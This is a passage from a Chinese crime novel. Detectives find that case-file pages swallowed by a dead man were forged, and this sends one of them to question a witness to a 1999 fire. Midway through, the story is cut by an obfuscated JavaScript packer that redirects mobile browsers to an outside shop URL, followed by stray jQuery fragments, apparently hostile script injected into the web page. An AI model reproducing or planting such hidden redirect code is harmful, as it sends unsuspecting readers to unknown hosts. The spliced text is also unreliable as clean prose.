字迹很细很轻,和他之前在三楼馆长办公室看到的书稿笔迹一模一样。
“二十年前榆荫里大火,三人死亡。季惟明被判死刑,缓期两年执行。但火灾当晚,图书馆的夜班打卡记录是完整的,他确实在图书馆。”
下面还有一行字,被胃酸泡掉了大半,只剩下最后几个字:
“……不是他。”
老郑看着这三个字,眉头越皱越深。“这书到底是谁写的?季惟明自己写的?”
“不可能。”林鹤声说,“季惟明三年前死在狱中了。”
证物室里忽然安静了下来。
挂钟的秒针继续走,咔嗒,咔嗒,咔嗒。
“什么时候的事?”老郑问。
“三年前的十二月。肝癌晚期,保外就医,在医院里住了不到半个月就死了。”林鹤声闭了一下眼睛,“我当时看过他的死亡报告,因为他无亲无故,遗体没人认领,最后是监狱出钱火化的。”
“那这本书,”
“这本书是有人在季惟明死后三年写的。写的是他的案子,用的是他的名字。然后另一个人,那个死在图书馆里的无名氏,把书里夹着的案卷复印件吞进了肚子。”
林鹤声站起来,走到窗边。证物室在三楼,窗外是公安局的后院,雪已经停了,院子里停着一排警车,车顶上积了厚厚一层白。凌晨三点的城市安静得像一张没有写字的纸。
“他在给我们传递一个信息,”林鹤声说,“用他的尸体,用一本没有出版过的书,用六页被吞进胃里的案卷。他要告诉我们,二十年前那场大火,烧死的不是三个人。”
老郑愣住了。
“什么意思?”
“如果季惟明不是凶手,那凶手就还在外面。而那个锁上防火门的人,在过去的二十年里,一定还做过别的事。”林鹤声转过身来,灯光从他背后打过来,脸上全是阴影,“榆荫里那栋楼,你记不记得火灾之后怎么处理的?”
“好像是……拆了?”
“拆了一半,留了一半。”林鹤声拿起桌上的外套,“因为开发商资金链断了,拆到一半停了工。那栋楼现在还杵在榆荫里,烧焦的墙,空洞的窗户,七层高的废墟。”
他拉开门。
“你去哪儿?”老郑在后面喊。
“去找一个人。”
“谁?”
“第一个看到火灾现场的人。当年榆荫里居委会的治保主任。他叫方德厚,现在还活着,住在城南的养老院里。”林鹤声回头看了老郑一眼,“你继续拼剩下的碎片,拼出来之后马上拍照发给我。”
“现在是凌晨三点,你要去敲一个七十多岁老头子的门?”
林鹤声没有回答。他的脚步声已经在下楼梯了,一下,一下,越来越远,最后消失在凌晨空旷的走廊里。
老郑站在证物室门口,低头看了看桌上那堆还没拼完的纸屑,又看了看窗外正在渐渐停歇的雪。
他拿起镊子,深吸一口气,继续拼。
强光灯的白光打在那张白卡纸上,第四十七片碎屑被夹起来,小心翼翼地放到了它应该在的位置。纸片上的最后几个字从胃酸的褐色浸染中浮现出来,是一个日期,
“1999年12月,”
下面还有两个字,被胃液泡得几乎透明,但还能勉强辨认。
“,十一。”
老郑拿起手机,给林鹤声发了一条消息:
“火灾的具体日期是?”
几秒后,回复亮了。
“1999年12月11日。”
老郑盯着那行字,慢慢放下手机。
拼图上的日期和火灾日期吻合。但这六页纸里夹着的案卷复印件,并不是火灾案的庭审记录,刚才拼出来的人名和地名他一开始没反应过来,现在忽然想起来了。
季惟明案的一审判决书上,火灾的日期写的是1999年12月10日。
不是11日。
老郑拿起放大镜,重新检查那片写着日期的碎片。字迹是印刷体,但日期这一栏不是打印的,是用笔手写填上去的,蓝色钢笔水,字迹很新,不像是二十年前的旧档案。
有人改过这个日期。
把10日改成了11日。
但这怎么可能?火灾发生在10日晚上,所有的新闻报道、庭审记录、死亡证明,都写的是12月10日。全市消防队的出警记录也是10日。没有人会在二十年后把日期往后改一天,除非,
除非10日那场火,不是真正的火灾。
或者说,10日那场火,烧死的不是那三个人。
老郑慢慢坐回椅子上,拿起镊子,开始重新检查每一片碎片。这一次他不只是拼字迹,他开始看纸张的边缘。那些被裁开的切口,在放大镜下露出了新的细节。
铜版纸的截面分三层:表层涂料、纸基层、底层涂料。正常情况下,二十年前的旧档案复印件,纸基层会因为氧化而发黄。但这六页纸的截面,在放大镜下看得很清楚,纸基层是白的。洁白。像新的一样。
这六页纸不是二十年前的复印件。它们是被做旧的。
有人用新纸复制了一份看起来像旧档案的假文件,裁成书页大小,夹进了《罚罪》。而死者,那个在雪夜里死在废弃图书馆里的无名男人,把这六页假档案吞进了肚子。
老郑拨通了林鹤声的电话。
“老林,那六页纸是假的。”
电话那头沉默了几秒。
“你确定?”
“纸张纤维是新的,做旧处理,但不是二十年前的纸。这些案卷复印件是伪造的,有人伪造了一份季惟明案的假文件,日期故意改成了12月11日。那个日期不是笔误,是有人故意留的线索。还有那个榆荫里的地名,那个手写的批注,全都是故意让你看到的。”
老郑深吸一口气。
“死者在吞下这六页纸之前就知道它们是假的。他吞下去,就是为了让你发现它们是假的。”
电话那头传来汽车发动的声音。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733381|209007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林鹤声沉默了很久,然后说了一句话:
“他知道我会来。”
城南养老院在一条叫白果巷的死胡同尽头,是一栋八十年代盖的五层灰楼,外墙上爬满了干枯的爬山虎藤蔓。林鹤声把车停在巷口,踩着没过脚踝的积雪走到门前。自动门已经锁了,保安亭里一个裹着军大衣的老头正在打盹,电视机开着,播的是凌晨重播的天气预报,明天还有雪。
他敲了三下玻璃,老头猛地惊醒,看见门外站着一个穿警服的人,愣了一下才按下开门键。
“我找方德厚。”林鹤声把证件贴在玻璃上。
“方老头?”保安揉了揉眼睛,“三楼最里面那间,312。这个点儿他应该醒着,那老头晚上不睡觉,整宿整宿地开着收音机听戏。”
走廊里弥漫着消毒水和陈旧家具混合的气味,声控灯坏了一半,林鹤声摸黑上了三楼。果然,还没走到走廊尽头,就听见了收音机的声音,京剧,《锁麟囊》,薛湘灵那段“春秋亭外风雨暴”。唱腔被电波干扰得断断续续,在空旷的走廊里飘荡,像一阵忽远忽近的哭声。
312室的门虚掩着,门缝里漏出一线昏黄的灯光。
林鹤声敲了敲门框。“方德厚老先生?”
收音机的声音被拧小了。一个苍老的声音从里面传出来:“进来吧,门没锁。”
房间很小,大概十来平米,一张单人床,一个旧衣柜,一张靠窗的书桌。墙上挂满了锦旗和奖状,颜色从大红褪成了灰粉,最早的一张是1983年的,“榆荫里街道优秀治保主任”。书桌上摆着一排药瓶和一台老式红灯牌收音机,收音机旁边放着一个相框,里面是一张黑白照片,一个中年男人穿着八十年代的蓝色中山装,站在榆荫里巷口的老槐树下。
方德厚坐在床边的一张藤椅上,腿上盖着一条洗得发白的毛毯。他今年七十八,头发全白了,脸上的皱纹像刀刻的一样深,但一双眼睛在昏暗的灯光下依然亮得惊人,不是浑浊的亮,而是那种见过太多事、什么都知道了的亮。
他看了林鹤声一眼,目光在他的警服上停了两秒,然后点了点头,像是早就知道他会来。
“坐。”他指了指书桌前的椅子,“你是为了榆荫里那场火来的吧?”
林鹤声没有坐。“你怎么知道?”
“因为今天下雪。”方德厚把收音机彻底关了,房间里忽然安静下来,只剩下暖气管里咕噜咕噜的水声,“那场火也是下雪天烧起来的。十二月十号,那年冬天的第一场雪。雪下得比今天还大,消防车在巷口堵了二十分钟进不来,轮胎打滑,消防员扛着水管在雪地里跑,摔倒了再爬起来,我在对面楼上看着,什么都做不了,只闻见一股烧焦的味道,混着雪。”
他的声音很平静,像是在讲一件发生在别人身上的事。但他的手,放在毛毯上的那只手,在微微发抖。
“方老,我今天来是因为……”
“因为有人在图书馆里死了。”方德厚打断他,“手里拿着一本书,对不对?”